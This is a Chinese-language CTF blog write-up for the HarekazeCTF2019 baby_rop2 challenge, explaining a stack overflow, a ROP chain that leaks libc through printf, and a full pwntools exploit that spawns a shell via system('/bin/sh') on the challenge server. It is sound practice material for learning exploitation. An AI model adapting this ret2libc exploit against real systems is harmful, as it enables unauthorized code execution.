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          女娲补天之printf函数泄露libc
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              <time title="创建时间：2021-05-13 16:37:10 / 修改时间：16:41:26" itemprop="dateCreated datePublished" datetime="2021-05-13T16:37:10+08:00">2021-05-13</time>
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        <p>学pwn越学越开心讲真的，现在补坑效率高了好多。</p>
<a id="more"></a>

<p>例题buu [HarekazeCTF2019]baby_rop2</p>
<p>正常做libc泄露都是用puts printf write，一般题目都会有puts比较方便</p>
<p>今天这个没有我只好用printf</p>
<p>如下buf可以溢出</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">28</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// [rsp+1Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;What&#x27;s your name? &quot;</span>);</span><br><span class="line">  v5 = read(<span class="number">0</span>, buf, <span class="number">0x100</span>uLL);</span><br><span class="line">  buf[v5 - <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Welcome to the Pwn World again, %s!\n&quot;</span>, buf);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


<p>这里侧重讲一点printf参数的填充，人比较懒就拿别人的了，</p>
<p>主要是提醒自己掌握各种函数的参数的填充问题</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">‘a’*0x28–&gt;造成溢出，覆盖到了返回地址</span><br><span class="line">p64(pop_rdi)+p64(format_str)–&gt;我们在原本语句的返回地址上写入了pop_rdi,ret，pop_rdi，对应参数format_str,执行后将formast_str的值设置给了rdi，之后执行ret（返回指令）</span><br><span class="line">p64(pop_rsi_r15)+p64(read_got)+p64(0)–&gt; 我们将2中的ret写成了pop_rsi,pop_r15,ret;执行指令pop_rsi对应参数read_got,将rsi寄存器的值设置成了read函数的got表地址，pop_r15对应参数0，由于我们不用r15，随便设置一下它，我是设置成了0</span><br><span class="line">p64(printf_plt)–&gt;将3中的ret设置成printf函数的plt表地址，实际上就是printf函数的地址，去执行printf函数，输出我们设置的read函数的地址</span><br><span class="line">p64(main_addr)–&gt; 在完成第一次利用后，得到了程序内read函数的地址，知道了libc基址，我们需要重新回到程序开头，再次利用这个输入点去写入system‘（&#x2F;bin&#x2F;sh）’</span><br><span class="line">接收输出的read函数地址</span><br><span class="line">————————————————</span><br><span class="line">版权声明：本文为CSDN博主「银河以北，吾彦最美」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。</span><br><span class="line">原文链接：https:&#x2F;&#x2F;blog.csdn.net&#x2F;mcmuyanga&#x2F;article&#x2F;details&#x2F;108918335</span><br></pre></td></tr></table></figure>
<p>exp</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">from LibcSearcher import *</span><br><span class="line">context.log_level &#x3D; &#39;debug&#39;</span><br><span class="line"></span><br><span class="line">#p &#x3D; process(&#39;.&#x2F;babyrop2&#39;)</span><br><span class="line">p &#x3D; remote(&#39;node3.buuoj.cn&#39;,28485)</span><br><span class="line">elf &#x3D; ELF(&#39;babyrop2&#39;)</span><br><span class="line"></span><br><span class="line">pop_rdi &#x3D; 0x0000000000400733</span><br><span class="line">pop_rsi_r15 &#x3D; 0x0000000000400731 </span><br><span class="line">format_str &#x3D; 0x0000000000400770  </span><br><span class="line">ret_addr &#x3D; 0x0000000000400734</span><br><span class="line"></span><br><span class="line">printf_plt &#x3D; elf.plt[&#39;printf&#39;]</span><br><span class="line">read_got &#x3D; elf.got[&#39;read&#39;]</span><br><span class="line">main_plt &#x3D; elf.sym[&#39;main&#39;]</span><br><span class="line"></span><br><span class="line">payload &#x3D; &#39;a&#39;*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)</span><br><span class="line"></span><br><span class="line">p.recvuntil(&quot;name? &quot;)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">read_addr &#x3D; u64(p.recvuntil(&#39;\x7f&#39;)[-6:].ljust(8, &#39;\x00&#39;))</span><br><span class="line">print hex(read_addr)</span><br><span class="line">libc &#x3D; LibcSearcher(&#39;read&#39;, read_addr)</span><br><span class="line">libc_base &#x3D; read_addr - libc.dump(&#39;read&#39;)</span><br><span class="line"></span><br><span class="line">sys_addr &#x3D; libc_base + libc.dump(&#39;system&#39;)</span><br><span class="line">bin_sh &#x3D; libc_base + libc.dump(&#39;str_bin_sh&#39;)</span><br><span class="line"></span><br><span class="line">payload &#x3D; &#39;a&#39;*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure>

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